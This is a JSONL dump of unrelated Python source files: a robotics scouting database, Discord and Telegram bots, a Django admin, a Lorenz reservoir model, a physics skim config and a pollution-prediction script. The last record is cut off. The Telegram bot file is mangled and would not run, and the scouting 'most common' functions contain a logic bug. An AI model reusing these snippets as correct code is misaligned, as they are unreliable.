+{"seq_id":"191799850","text":"import pymongo\nfrom pymongo import MongoClient\nfrom secrets import MONGO_DB_URI\nimport webbrowser\nfrom ranking_alg import RankingAlgorithm\n\nclient = MongoClient(MONGO_DB_URI)\ndb = client.get_database().robolions\n\n# To clear all data (a process that should be done after every event),\n# go to mlab, sign in with webmaster@prhsrobotics.com, and go to the robolions collection\n# and delete all documents in the robolions collection. Savvy?\n\n\ndef getData(team_number):\n    if isinstance(team_number, dict):\n        team_number = team_number['team_number']\n    col = db.find_one({\"team_number\": team_number})\n    matchlist = list(dict(col)['matches'])\n    return matchlist\n\n\ndef getMostCommonClimb(team_number):\n    data = getData(team_number)\n    climbs = {}\n    maximum = 0\n    most_common = \"\"\n    for match in data:\n        try:\n            climbs[match['climb']] += 1\n        except KeyError:\n            climbs[match['climb']] = 1\n    for climb in climbs:\n        if climbs[climb] > maximum:\n            most_common = climb\n    return most_common\n\n\ndef getMostCommonAuto(team_number):\n    data = getData(team_number)\n    autos = {}\n    maximum = 0\n    most_common = \"\"\n    for match in data:\n        try:\n            autos[match['auto']] += 1\n        except KeyError:\n            autos[match['auto']] = 1\n    for auto in autos:\n        if autos[auto] > maximum:\n            most_common = auto\n    return most_common\n\n\ndef getMostCommonReach(team_number):\n    data = getData(team_number)\n    reaches = {}\n    maximum = 0\n    most_common = \"\"\n    for match in data:\n        try:\n            reaches[match['type']] += 1\n        except KeyError:\n            reaches[match['type']] = 1\n    for reach in reaches:\n        if reaches[reach] > maximum:\n            most_common = reach\n    return most_common\n\n\ndef setData(data_dict):\n    if db.find_one({\"team_number\":data_dict['team_number']}) is None:  # creates a document for the given team\n        db.insert_one({\"team_number\": int(data_dict['team_number'])})      # assuming that it doesn't exist\n        db.update_one(\n            {\"team_number\":data_dict['team_number']},\n            {'$set':\n                {'matches': []}  # create an empty list of matches to store individual match data\n            }\n        )\n    db.update_one(\n        {\"team_number\":data_dict['team_number']},\n        {'$push':               # push a new match's data into the above created empty list (or full list if this is not the first\n            {\"matches\":         # time this team has played in this specific event\n                {\n                \"disabled\": data_dict['disabled'],\n                \"match\": data_dict['match'],\n                \"auto\": data_dict['auto'],\n                \"lower\": data_dict['lower'],\n                \"outer\": data_dict['outer'],\n                \"inner\": data_dict['inner'],\n                \"climb\": data_dict['climb'],\n                \"type\":data_dict['type'],\n                \"driver\":data_dict['driver'],\n                \"notes\": data_dict['notes'],\n                \"scout_name\": data_dict['scout_name']\n                }\n            }\n        }\n    )\n\n\ndef getCollection():\n    return db\n\n\ndef getAllTeamData():\n    teams = []\n    cursor = db.find()\n    for team in cursor:\n        teams.append(team)\n    return teams\n\n\ndef getNumberOfTeams():\n    return db.count()\n\n\n# AHH YES the big one\ndef getAlgorithmicRankings():\n    ranks = {}\n    low = getLowRankings()\n    high = getHighRankings()\n    driver = getDriverRankings()\n    climb = getClimbRankings()\n    auto = getAutoRankings()\n    reach = getReachRankings()\n    for team in getAllTeamData():\n        num = team['team_number']\n        t_low = low.index(int(num))\n        t_high = high.index(int(num))\n        t_driver = driver.index(int(num))\n        t_climb = climb.index(int(num))\n        t_auto = auto.index(int(num))\n        t_reach = reach.index(int(num))\n        algorithm = RankingAlgorithm(low=t_low, high=t_high, driver=t_driver, climb=t_climb, auto=t_auto, reach=t_reach, total_teams=getNumberOfTeams())\n        ranks[num] = algorithm.getScore()\n    final = list(sorted(ranks.keys(), key=lambda team_number: ranks[team_number], reverse=True))\n    return final\n\n\ndef getLowRankings():\n    data = []\n    for team in getAllTeamData():\n        for match in team['matches']:\n            data.append(int(match['lower']))\n        average = sum(data) / len(data)\n        db.update_one(\n            {\"team_number\":team['team_number']},\n            {'$set':\n                 {\"low_avg\": average}\n            }\n        )\n        data = []\n    rankings = {}\n    for team in getAllTeamData():\n        rankings[int(team['team_number'])] = team['low_avg']\n    final = list(sorted(rankings.keys(), key=lambda team_number: rankings[team_number], reverse=True))\n    return final\n\n\ndef getHighRankings():\n    data = []\n    for team in getAllTeamData():\n        for match in team['matches']:\n            outer = int(match['outer'])\n            inner = int(match['inner'])\n            score = inner*2+outer\n            data.append(score)\n        average = sum(data) / len(data)\n        db.update_one(\n            {\"team_number\":team['team_number']},\n            {'$set':\n                 {\"high_avg\": average}\n            }\n        )\n        data = []\n    rankings = {}\n    for team in getAllTeamData():\n        rankings[int(team['team_number'])] = team['high_avg']\n    final = list(sorted(rankings.keys(), key=lambda team_number: rankings[team_number], reverse=True))\n    return final\n\n\ndef getDriverRankings():\n    data = []\n    for team in getAllTeamData():\n        for match in team['matches']:\n            data.append(int(match['driver']))\n        average = sum(data) / len(data)\n        db.update_one(\n            {\"team_number\":team['team_number']},\n            {'$set':\n                 {\"driver_avg\": average}\n             }\n        )\n        data = []\n    rankings = {}\n    for team in getAllTeamData():\n        rankings[int(team['team_number'])] = team['driver_avg']\n    final = list(sorted(rankings.keys(), key=lambda team_number: rankings[team_number], reverse=True))\n    return final\n\n\ndef getClimbRankings():\n    data = []\n    for team in getAllTeamData():\n        for match in team['matches']:\n            score = 0\n            most_common_climb = str(match['climb']).lower()\n            if most_common_climb == \"balance\":\n                score = 3\n            elif most_common_climb == \"climb\":\n                score = 2\n            elif most_common_climb == \"park\":\n                score = 1\n            elif most_common_climb == \"cannot\":\n                score = 0\n            data.append(score)\n        average = sum(data) / len(data)\n        db.update_one(\n            {\"team_number\":team['team_number']},\n            {'$set':\n                 {\"climb_avg\": average}\n            }\n        )\n        data = []\n    rankings = {}\n    for team in getAllTeamData():\n        rankings[int(team['team_number'])] = team['climb_avg']\n    final = list(sorted(rankings.keys(), key=lambda team_number: rankings[team_number], reverse=True))\n    return final\n\n\ndef getAutoRankings():\n    data = []\n    for team in getAllTeamData():\n        for match in team['matches']:\n            score = 0\n            most_common_auto = str(match['auto']).lower()\n            if most_common_auto == \"4+ balls high\":\n                score = 5\n            elif most_common_auto == \"1-3 balls high\":\n                score = 4\n            elif most_common_auto == \"4+ balls low\":\n                score = 3\n            elif most_common_auto == \"1-3 balls low\":\n                score = 2\n            elif most_common_auto == \"auto line only\":\n                score = 1\n            elif most_common_auto == \"nothing\":\n                score = 0\n            data.append(score)\n        average = sum(data) / len(data)\n        db.update_one(\n            {\"team_number\":team['team_number']},\n            {'$set':\n                 {\"auto_avg\": average}\n            }\n        )\n        data = []\n    rankings = {}\n    for team in getAllTeamData():\n        rankings[int(team['team_number'])] = team['auto_avg']\n    final = list(sorted(rankings.keys(), key=lambda team_number: rankings[team_number], reverse=True))\n    return final\n\n\ndef getReachRankings():\n    data = []\n    for team in getAllTeamData():\n        for match in team['matches']:\n            score = 0\n            most_common_reach = str(match['type']).lower()\n            if most_common_reach == \"high\":\n                score = 2\n            elif most_common_reach == \"low\":\n                score = 1\n            elif most_common_reach == \"defense\":\n                score = 0\n            data.append(score)\n        average = sum(data) / len(data)\n        db.update_one(\n            {\"team_number\":team['team_number']},\n            {'$set':\n                 {\"type_avg\": average}\n            }\n        )\n        data = []\n    rankings = {}\n    for team in getAllTeamData():\n        rankings[int(team['team_number'])] = team['type_avg']\n    final = list(sorted(rankings.keys(), key=lambda team_number: rankings[team_number], reverse=True))\n    return final\n\n\ndef printDataInBrowser(data_dict):\n    webbrowser.open_new_tab('https://www.google.com/?q=' + str(data_dict))  # yes","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":9228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"626436867","text":"import discord\r\nimport asyncio\r\n#import time\r\nfrom discord.ext import commands, tasks\r\nfrom datetime import datetime, date, time, timezone\r\n\r\nfrom lxml import html\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\n\r\nfrom random import randint\r\n\r\nfrom keep_alive import keep_alive\r\n\r\nclient = commands.Bot(command_prefix = '-')\r\n\r\nclient.remove_command(\"help\")\r\n\r\n\r\n\r\nasync def mainStatus():\r\n    \r\n    cryptoChannel = client.get_channel(821018785133232128)\r\n    timestamp = datetime.now()\r\n\r\n    rStatus = requests.get('https://8b380bb9-5237-4ef8-a0cf-3a6b831dba72.id.repl.co/')\r\n    statusSoup = BeautifulSoup(rStatus.content, \"html.parser\")\r\n    status = statusSoup.find_all(text=True)\r\n    \r\n    if 'Hello. I am alive!' in status:\r\n         message = await cryptoChannel.send('**'+\"CryptoBot is currently OPERATING\"+'**'+\" \\U0001f7e2\"+\" *More info here:* https://stats.uptimerobot.com/oX9yvSXWMD/787507457 \" \r\n         + \"                *Last updated:* \" + str(timestamp.strftime(r\"%Y-%m-%d %H:%M:%S\")))\r\n    else:\r\n        message = await cryptoChannel.send('**'+\"CryptoBot is currently DOWN\"+'**'+\" \\U0001f534\"+\" *More info here:* https://stats.uptimerobot.com/oX9yvSXWMD/787507457 \"\r\n        + \"                 *Last updated:* \" + str(timestamp.strftime(r\"%Y-%m-%d %H:%M:%S\")))\r\n\r\n    await asyncio.sleep(300)\r\n    await message.delete()\r\n\r\n@client.event\r\nasync def on_ready(): \r\n    print('Bot is ready.')\r\n    while True:\r\n        await mainStatus()\r\n        await asyncio.sleep(1)\r\n        \r\n\r\n@client.command()\r\nasync def help(ctx):\r\n    await ctx.send(ctx.author.mention + \" See the #₿-crypto-bot-updates channel for more info.\")\r\n\r\n@client.command()\r\nasync def hnt(ctx):\r\n    rHNT = requests.get('https://coinmarketcap.com/currencies/helium/')\r\n    soupHNT = BeautifulSoup(rHNT.content, \"lxml\")\r\n    hntParsed = soupHNT.find_all(\"div\",class_= \"priceValue___11gHJ\")\r\n    for value in hntParsed: \r\n        hntPrice = value.get_text()\r\n    await ctx.send(\"The current price of 1 Helium coin = \" + \"**\" + hntPrice + '**')\r\n\r\n@client.command()\r\nasync def btc(ctx):\r\n    rBTC = requests.get('https://coinmarketcap.com/currencies/bitcoin/')\r\n    soupBTC = BeautifulSoup(rBTC.content, \"lxml\")\r\n    btcParsed = soupBTC.find_all(\"div\",class_=\"priceValue___11gHJ\")\r\n    for value in btcParsed:\r\n        btcPrice = value.get_text()\r\n    await ctx.send(\"The current price of 1 Bitcoin = \" + \"**\" + btcPrice + '**')\r\n\r\n@client.command()\r\nasync def doge(ctx):\r\n    rDOGE = requests.get('https://coinmarketcap.com/currencies/dogecoin/')\r\n    soupDOGE = BeautifulSoup(rDOGE.content, \"lxml\")\r\n    dogeParsed = soupDOGE.find_all(\"div\",class_=\"priceValue___11gHJ\")\r\n    for value in dogeParsed:\r\n        dogePrice = value.get_text()\r\n    await ctx.send(\"The current price of 1 Dogecoin = \" + \"**\" + dogePrice + '**')\r\n\r\n\r\n#How sus calculator? \"ඞ\"\r\n@client.command()\r\nasync def sus(ctx):\r\n    susResult = str(randint(0,100))\r\n    await ctx.send(ctx.author.mention + \" You are \" + susResult + \"% \" + \"sus **ඞ**\")\r\n\r\n@client.command()\r\nasync def status(ctx):\r\n    rStatus = requests.get('https://8b380bb9-5237-4ef8-a0cf-3a6b831dba72.id.repl.co/')\r\n    statusSoup = BeautifulSoup(rStatus.content, \"html.parser\")\r\n    status = statusSoup.find_all(text=True)\r\n    \r\n    if 'Hello. I am alive!' in status:\r\n        await ctx.send('**'+\"CryptoBot is currently OPERATING\"+'**'+\" \\U0001f7e2\"+\" *More info here:* https://stats.uptimerobot.com/oX9yvSXWMD/787507457 \")\r\n    else:\r\n        await ctx.send('**'+\"CryptoBot is currently DOWN\"+'**'+\" \\U0001f534\"+\" *More info here:* https://stats.uptimerobot.com/oX9yvSXWMD/787507457 \")\r\n\r\n    \r\n\r\nkeep_alive()\r\nclient.run('token')","sub_path":"CryptoBot.py","file_name":"CryptoBot.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"611284815","text":"from  aiogram  import  Bot , types\r\nfrom  aiogram . dispatcher  import  Dispatcher\r\nfrom  aiogram . utils  import  executor\r\n\r\nfrom  config  import  TOKEN\r\n\r\n\r\nbot  =  Bot ( token = TOKEN )\r\ndp  =  Dispatcher ( bot )\r\n\r\n\r\n@ Dp . message_handler ( commands = [ 'start' ])\r\nasync  def  process_start_command ( message : types . Message ):\r\n    await  message . reply ( \"Привіт! \\ n Напиши мені що-небудь!\" )\r\n\r\n\r\n@ Dp . message_handler ( commands = [ 'help' ])\r\nasync  def  process_help_command ( message : types . Message ):\r\n    await  message . reply ( \"Напиши мені що-небудь, і я отпрпавлю цей текст тобі у відповідь!\" )\r\n\r\n\r\n@ Dp . message_handler ()\r\nasync  def  echo_message ( msg : types . Message ):\r\n    await  bot . send_message ( msg . from_user . id , msg . text )\r\n\r\n\r\nif  __name__  ==  '__main__' :\r\n    executor . start_polling ( dp )","sub_path":"Bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"45043142","text":"# -*- coding: utf-8 -*-\n\nfrom django.contrib import admin\nfrom django.utils.translation import ugettext_lazy as _\nfrom codemirror2.widgets import CodeMirrorEditor\nfrom fscreen.models import Presentation, Screen\n  \n\n@admin.register(Screen)\nclass ScreenAdmin(admin.ModelAdmin):\n    save_as = True\n    list_display= ('title','get_presentation_name','order')\n    search_fields = ['presentation__title', 'title']\n    fieldsets = (\n        (None, {\n            'fields': ('title','presentation','order')\n        }),\n        ('Xl', {\n            'classes': ('collapse',),\n            'fields': ('xl_breakpoint','image_xl','html_xl')\n        }),\n        ('Lg', {\n            'classes': ('collapse',),\n            'fields': ('image_lg','html_lg')\n        }),\n        ('Md', {\n            'classes': ('collapse',),\n            'fields': ('image_md','html_md')\n        }),\n        ('Sm', {\n            'classes': ('collapse',),\n            'fields': ('image_sm','html_sm')\n        }),\n        ('Xs', {\n            'classes': ('collapse',),\n            'fields': ('image_xs','html_xs')\n        }),\n        ('Custom xxs', {\n            'classes': ('collapse',),\n            'fields': ('xxs_breakpoint','image_xxs','html_xxs')\n        })\n    )\n    \n    def formfield_for_dbfield(self, db_field, **kwargs):\n        if db_field.attname in [\"html_xl\", \"html_lg\", \"html_md\", \"html_sm\", \"html_xs\", \"html_xxs\"]:\n            kwargs['widget'] = CodeMirrorEditor(\n                                                options={\n                                                         'mode': 'htmlmixed',\n                                                         'indentWithTabs':'true',\n                                                         'lineNumbers':'true',\n                                                         'autoCloseTags': 'true',\n                                                         'theme':'blackboard',\n                                                         'styleActiveLine': 'true',\n                                                         'indentUnit' : '4',\n                                                        }, \n                                                modes=['css', 'xml', 'javascript', 'htmlmixed']\n                                                )\n        return super(ScreenAdmin, self).formfield_for_dbfield(db_field, **kwargs)\n    \n    def get_presentation_name(self, obj):\n        return obj.presentation.title\n    \n    get_presentation_name.admin_order_field  = 'presentation'\n    get_presentation_name.short_description = _(u'Presentation')\n\n@admin.register(Presentation)\nclass PresentationAdmin(admin.ModelAdmin):\n    prepopulated_fields = {\"slug\": (\"title\",)}\n    \n","sub_path":"fscreen/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"91533873","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun  3 12:57:49 2020\n\n@author: josephharvey\n\"\"\"\n\nfrom lorenzrungekutta import rungekutta\nimport numpy as np\n#from sklearn.linear_model import Ridge\nfrom scipy import sparse\nfrom scipy.linalg import solve\nfrom scipy.sparse.linalg import eigs\nfrom matplotlib import pyplot as plt\n\nnp.random.seed()\n\n#why is lorenz signal passing 0?\n\n#50 seems to be unstable boundary\nclass Reservoir:\n    def __init__(self, rk, rsvr_size = 300, spectral_radius = 0.6, input_weight = 1):\n        self.rsvr_size = rsvr_size\n        \n        #get spectral radius < 1\n        #gets row density = 0.03333\n        unnormalized_W = (np.random.rand(rsvr_size,rsvr_size)*2 - 1)\n        for i in range(unnormalized_W[:,0].size):\n            for j in range(unnormalized_W[0].size):\n                if np.random.rand(1) > 10/rsvr_size:\n                    unnormalized_W[i][j] = 0\n    \n        max_eig = eigs(unnormalized_W, k = 1, return_eigenvectors = False)\n        \n        self.W = sparse.csr_matrix(spectral_radius/np.abs(max_eig)*unnormalized_W)\n        \n        const_conn = int(rsvr_size*0.1)\n        signal_conn = int((rsvr_size-const_conn)/6)\n        \n        \n        Win = np.zeros((rsvr_size, 7))\n        #constant\n        Win[:const_conn, 0] = (np.random.rand(Win[:const_conn, 0].size)*2 - 1)*input_weight\n        #x\n        Win[const_conn: const_conn + signal_conn, 1] = (np.random.rand(Win[const_conn: const_conn + signal_conn, 1].size)*2 - 1)*input_weight\n        #y\n        Win[const_conn + signal_conn:const_conn + 2*signal_conn, 2] = (np.random.rand(Win[const_conn + signal_conn:const_conn + 2*signal_conn, 2].size)*2 - 1)*input_weight\n        #z\n        Win[const_conn + 2*signal_conn: const_conn + 3*signal_conn, 3] = (np.random.rand(Win[const_conn + 2*signal_conn: const_conn + 3*signal_conn, 3].size)*2 - 1)*input_weight\n        #x^2\n        Win[const_conn + 3*signal_conn:const_conn + 4*signal_conn, 4] = (np.random.rand(Win[const_conn + 3*signal_conn:const_conn + 4*signal_conn, 4].size)*2 - 1)*input_weight\n        #y^2\n        Win[const_conn + 4*signal_conn:const_conn + 5*signal_conn, 5] = (np.random.rand(Win[const_conn + 4*signal_conn:const_conn + 5*signal_conn, 5].size)*2 - 1)*input_weight\n        #z^2\n        Win[const_conn + 5*signal_conn:, 6] = (np.random.rand(Win[const_conn + 5*signal_conn:, 6].size)*2 - 1)*input_weight\n        \n        \n        self.Win = sparse.csr_matrix(Win)\n        self.X = (np.random.rand(rsvr_size, rk.train_length+2)*2 - 1)\n        self.Wout = np.array([])\n        \nclass RungeKutta:\n    def __init__(self, x0 = 2,y0 = 2,z0 = 23, h = 0.01, T = 300, ttsplit = 5000, noise_scaling = 0):\n        u_arr = rungekutta(x0,y0,z0,h,T)[:, ::5]\n        self.train_length = ttsplit\n        \n        u_arr[0] = (u_arr[0] - 0)/7.929788629895004\n        u_arr[1] = (u_arr[1] - 0)/8.9932616136662\n        u_arr[2] = (u_arr[2] - 23.596294463016896)/8.575917849311919\n        \n        self.u_arr_train = u_arr[:, :ttsplit+1]\n        #size 5001\n        \n        #noisy training array\n        #switch to gaussian \n        noise = np.random.randn(self.u_arr_train[:,0].size, self.u_arr_train[0,:].size)*noise_scaling \n        self.u_arr_train_noise = self.u_arr_train + noise\n        \n        #plt.plot(self.u_arr_train_noise[0, :500])\n        \n        #u[5000], the 5001st element, is the last in u_arr_train and the first in u_arr_test\n        self.u_arr_test = u_arr[:, ttsplit:]\n        #size 1001\n  \n#takes a reservoir object res along with initial conditions\ndef getX(res, rk,x0 = 1,y0 = 1,z0 = 1, noise = False):\n    \n    if noise:\n        u_training = rk.u_arr_train_noise\n    else:\n        u_training = rk.u_arr_train\n    \n    #loops through every timestep\n    for i in range(0, u_training[0].size):\n        u = np.concatenate((np.array([1]), u_training[:,i], transform(u_training[:,i]))).reshape(7,1)\n        \n        x = res.X[:,i].reshape(res.rsvr_size,1)\n        x_update = np.tanh(np.add(res.Win.dot(u), res.W.dot(x)))\n        \n        res.X[:,i+1] = x_update.reshape(1,res.rsvr_size)    \n    \n    return res.X\n    \ndef trainRRM(res, rk):\n    print(\"Training... \")\n\n    alph = 10**-4\n    #rrm = Ridge(alpha = alph, solver = 'cholesky')\n    \n    #train on 10 small training sets with different noise - minimize error over all\n    #save the state of the reservoir for noisy datasets\n    #also try - train on signal^2 or other function (get more info than just 3 vars) - no noise\n    \n    Y_train = np.concatenate((rk.u_arr_train[:, 301:], transform(rk.u_arr_train[:, 301:])), axis = 0)\n    \n    X = getX(res, rk, noise = True)[:, 301:(res.X[0].size - 1)]\n    X_train = np.concatenate((np.ones((1, rk.u_arr_train[0].size-301)), X, rk.u_arr_train[:, 300:(rk.u_arr_train[0].size - 1)], transform(rk.u_arr_train[:, 300:(rk.u_arr_train[0].size - 1)])), axis = 0)\n    #X_train = np.copy(X)\n    \n    idenmat = np.identity(res.rsvr_size+7)*alph\n    data_trstates = np.matmul(Y_train, np.transpose(X_train))\n    states_trstates = np.matmul(X_train,np.transpose(X_train))\n    res.Wout = np.transpose(solve(np.transpose(states_trstates + idenmat),np.transpose(data_trstates)))\n    \n    print(\"Training complete \")\n    #Y_train = Y_train.transpose()\n    #X_train = X.transpose()\n    \n    #tweak regression param? use 10^-4, 10^-6\n    #test Ridge() in simpler context\n    #rrm.fit(X_train,Y_train)\n    #res.Wout = rrm.coef_\n    return\n    \ndef predict(res, x0 = 0, y0 = 0, z0 = 0, steps = 1000):\n    Y = np.empty((6, steps + 1))\n    X = np.empty((res.rsvr_size, steps + 1))\n    \n    Y[:3,0] = np.array([x0,y0,z0]).reshape(1,3)\n    Y[3:,0] = transform(np.array([x0,y0,z0]).reshape(1,3))\n    X[:,0] = res.X[:,-2]\n\n    \n    for i in range(0, steps):\n        y_in = np.concatenate((np.array([1]), Y[:,i]), axis = 0).reshape(7,1) \n        x_prev = X[:,i].reshape(res.rsvr_size,1)\n        \n        x_current = np.tanh(np.add(res.Win.dot(y_in), res.W.dot(x_prev)))\n        X[:,i+1] = x_current.reshape(1,res.rsvr_size)\n        #X = np.concatenate((X, x_current), axis = 1)\n        \n        y_out = np.matmul(res.Wout, np.concatenate((np.array([[1]]), x_current, Y[:,i].reshape(6,1)), axis = 0))\n        #y_out = np.matmul(res.Wout, x_current)\n        Y[:,i+1] = y_out.reshape(1, 6) \n        \n\n    return Y\n\ndef test(res, num_tests = 10, rkTime = 200, split = 2000, showPlots = True):\n    valid_time = np.array([])\n    means = np.zeros(num_tests)\n    variances = np.zeros(num_tests)\n    \n    for i in range(num_tests):\n        ic = np.random.rand(3)*2-1\n        rktest = RungeKutta(x0 = ic[0], y0 = ic[1], z0 = 30*ic[2], T = rkTime, ttsplit = split)\n        res.X = (np.zeros((res.rsvr_size, split+2))*2 - 1)\n        \n        #sets res.X\n        getX(res, rktest)\n        \n        pred = predict(res, x0 = rktest.u_arr_test[0,0], y0 = rktest.u_arr_test[1,0], z0 = rktest.u_arr_test[2,0], steps = (rkTime*20-split))\n        \n        for j in range(0, pred[0].size):\n            if np.abs(pred[0, j] - rktest.u_arr_test[0, j]) > 1.5:\n                valid_time = np.append(valid_time, j)\n                print(\"Test \" + str(i) + \" valid time: \" + str(j))\n                break\n        \n        print(\"Mean: \" + str(np.mean(pred[0])))\n        print(\"Variance: \" + str(np.var(pred[0])))\n        \n        means[i] = np.mean(pred[0])\n        variances[i] = np.var(pred[0])\n        \n        if showPlots:\n            plt.figure()\n            plt.plot(pred[0])\n            plt.plot(rktest.u_arr_test[0])\n    \n    if showPlots:\n        plt.show()\n    \n    print(\"Avg. valid time steps: \" + str(np.mean(valid_time)))\n    print(\"Std. valid time steps: \" + str(np.std(valid_time)))\n    print(\"Avg. of x dim: \" + str(np.mean(means)))\n    print(\"Var. of x dim: \" + str(np.mean(variances)))\n    return np.mean(valid_time)\n\ndef transform(x):\n    return np.tanh(x)*0.0001 \n\n#fidelity metric\n#valid time - consider three inputs and 6 inputs\n#try at a few res. sizes\n\n#stability criterion, comparing no noise, 3 inputs, 6 inputs, noise: \n#eyeball test\n#mean and variance of all datapoints\n#intervals between sign changes \n#compute correlation function \n\ntrain_time = 300    \nrk = RungeKutta(T = train_time, ttsplit = train_time*20, noise_scaling = 0.000) #ttsplit = train_time*20\n\nresults = np.array([])\nnum_res = 10\nfor i in range (num_res):\n    print(\"Reservoir \" + str(i+1) + \" of \" + str(num_res))\n    res = Reservoir(rk, rsvr_size = 50, spectral_radius = 0.5, input_weight = 1)\n    trainRRM(res, rk) \n    results = np.append(results, test(res, 5, rkTime = 200, showPlots = True))\n    print(results.size)\nprint(\"Average valid time for \" + str(num_res) + \" reservoirs at \" + str(train_time) + \": \" + str(np.mean(results)))\nprint(results) \n\n","sub_path":"lorenz_reservoir_6in6out.py","file_name":"lorenz_reservoir_6in6out.py","file_ext":"py","file_size_in_byte":8696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"295691092","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"SKIM\")\n\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.load(\"Configuration.StandardSequences.Services_cff\")\n\nprocess.options   = cms.untracked.PSet( wantSummary = cms.untracked.bool(True) )\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(10000) )\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 10000\n\nprocess.source = cms.Source(\"PoolSource\", fileNames = cms.untracked.vstring())\nprocess.source.fileNames = [\n    '/store/data/Run2012D/DoubleElectron/AOD/22Jan2013-v1/10000/FEED5E9F-6A8F-E211-91C4-00261894391C.root',\n]\n\nprocess.out = cms.OutputModule(\"PoolOutputModule\",\n    fileName = cms.untracked.string(\"skim.root\"),\n    outputCommands = cms.untracked.vstring(\n        \"keep *\",\n        \"drop *_selectedMuons_*_SKIM\",\n        \"drop *_selectedElectrons_*_SKIM\",\n        \"drop *_z*Cands_*_SKIM\",\n        \"drop *_selectedJets_*_SKIM\",\n    ),\n    SelectEvents = cms.untracked.PSet( SelectEvents = cms.vstring('p') ),\n)\nprocess.outPath = cms.EndPath(process.out)\n\nprocess.load(\"KrAFT.Configuration.commonFilters_cff\")\nprocess.load(\"HLTrigger.HLTfilters.hltHighLevel_cfi\")\nprocess.hltHighLevel.throw = False\nprocess.hltHighLevel.HLTPaths = [\"HLT_IsoMu24_v*\", \"HLT_IsoMu24_eta2p1_v*\"]\n\nprocess.p = cms.Path(\n    process.hltHighLevel\n  + process.commonSequenceForData\n  + process.filterSingleElectronSequence\n)\n\n","sub_path":"Configuration/prod/skim/skim_SingleMu_cfg.py","file_name":"skim_SingleMu_cfg.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"356987541","text":"# -*- coding: utf-8 -*-\nfrom utils import load_data,get_data_day\nimport numpy as np\nimport pickle\nimport datetime\nimport calendar\nimport time\nimport os\n\nimport utils\nimport pandas as pd\nimport logging\nimport numpy as np\nimport pandas as pd\nimport logging\nlogging.basicConfig(level=logging.INFO)\nimport utils\nimport time\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.datasets import make_regression\nfrom sklearn.multioutput import MultiOutputRegressor\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import train_test_split\nimport pickle\nfrom utils import load_data,get_data_day\nimport numpy as np\nimport pickle\nimport datetime\nimport calendar\nimport time\nimport os\n\nimport utils\nimport pandas as pd\nimport logging\n#### Predict function for a given day\n\ndir = os.path.dirname(__file__)\n\ndef predict(day, sites, chimeres_day, geops_day, meteo_day,\n                                   concentrations_day):\n    start=time.time()\n    print(day)\n    X=toPredcit(concentrations_day)\n    #define a dictionary to return the result\n    results = dict({})\n    \n    #add the 4 pol to the dict\n    for pol in [\"PM10\", \"PM25\", \"O3\", \"NO2\"]:\n        results[pol] = dict({})\n        #add each idPolair to each pol in the dict\n        sites=np.load('models/sites.npy')\n        for idPolair in sites:\n            results[pol][''+str(int(idPolair))] = dict({})\n        \n    #results[pol]['33374'] = dict({})\n    \n    #for each pol predict and add the result\n    for index,row in X.iterrows():\n        \n        #remove old model from GPU to speed up the model\n        \n        #load the model of this site\n        model = pickle.load(open(dir+'/forests/'+str(int(index))+'.model', 'rb'))\n        \n        #predict the 12 values\n        y_predict = model.predict(np.array([row.values]))\n        \n        #assign each value to the right place\n        idPolair=str(int(index))\n        results[\"NO2\"][idPolair][\"D0\"] = np.full((24), y_predict[0, 1])\n        results[\"NO2\"][idPolair][\"D1\"] = np.full((24),y_predict[0, 5])\n        results[\"NO2\"][idPolair][\"D2\"] = np.full((24),y_predict[0, 9])\n        results[\"O3\"][idPolair][\"D0\"] = np.full((24),y_predict[0, 0])\n        results[\"O3\"][idPolair][\"D1\"] = np.full((24),y_predict[0, 4])\n        results[\"O3\"][idPolair][\"D2\"] = np.full((24),y_predict[0, 8])\n        results[\"PM10\"][idPolair][\"D0\"] = np.full((24),y_predict[0, 2])\n        results[\"PM10\"][idPolair][\"D1\"] = np.full((24),y_predict[0, 6])\n        results[\"PM10\"][idPolair][\"D2\"] = np.full((24),y_predict[0, 10])\n        results[\"PM25\"][idPolair][\"D0\"] = np.full((24),y_predict[0, 3])\n        results[\"PM25\"][idPolair][\"D1\"] = np.full((24),y_predict[0, 7])\n        results[\"PM25\"][idPolair][\"D2\"] = np.full((24),y_predict[0, 11])\n    end=time.time()\n    print(end-start)\n    return results\n        \n        \n        \n        \n\ndef run_predict(year=2016, max_days=10, dirname=\"../Data/training\", list_days=None):\n    \"\"\"\n    year : year to be evaluated\n    max_days: number of past days allowed to predict a given day (set to 10 on the platform)\n    dirname: path to the dataset\n    list_days: list of days to be evaluated (if None the full year is evaluated)\n    \"\"\"\n\n    overall_start = time.time()  # <== Mark starting time\n    data = load_data(year=year, dirname=dirname)  # load all data files\n    sites = data[\"sites\"]  # get sites info\n    day_results = dict({})\n    if list_days is None:\n        if calendar.isleap(year):  # check if year is leap\n            list_days = range(366)\n        else:\n            list_days = range(365)\n    for day in list_days:\n        chimeres_day,geops_day,meteo_day,concentrations_day = get_data_day(day,data,max_days=max_days,year=year)  # you will get an extraction of the year datasets, limited to the past max_days for each day\n        day_results[day] = predict(day, sites, chimeres_day, geops_day, meteo_day,\n                                   concentrations_day)  # do the prediction\n\n    overall_time_spent = time.time() - overall_start  # end computation time\n    pickle.dump(day_results, open('submission/results.pk', 'wb'))  # save 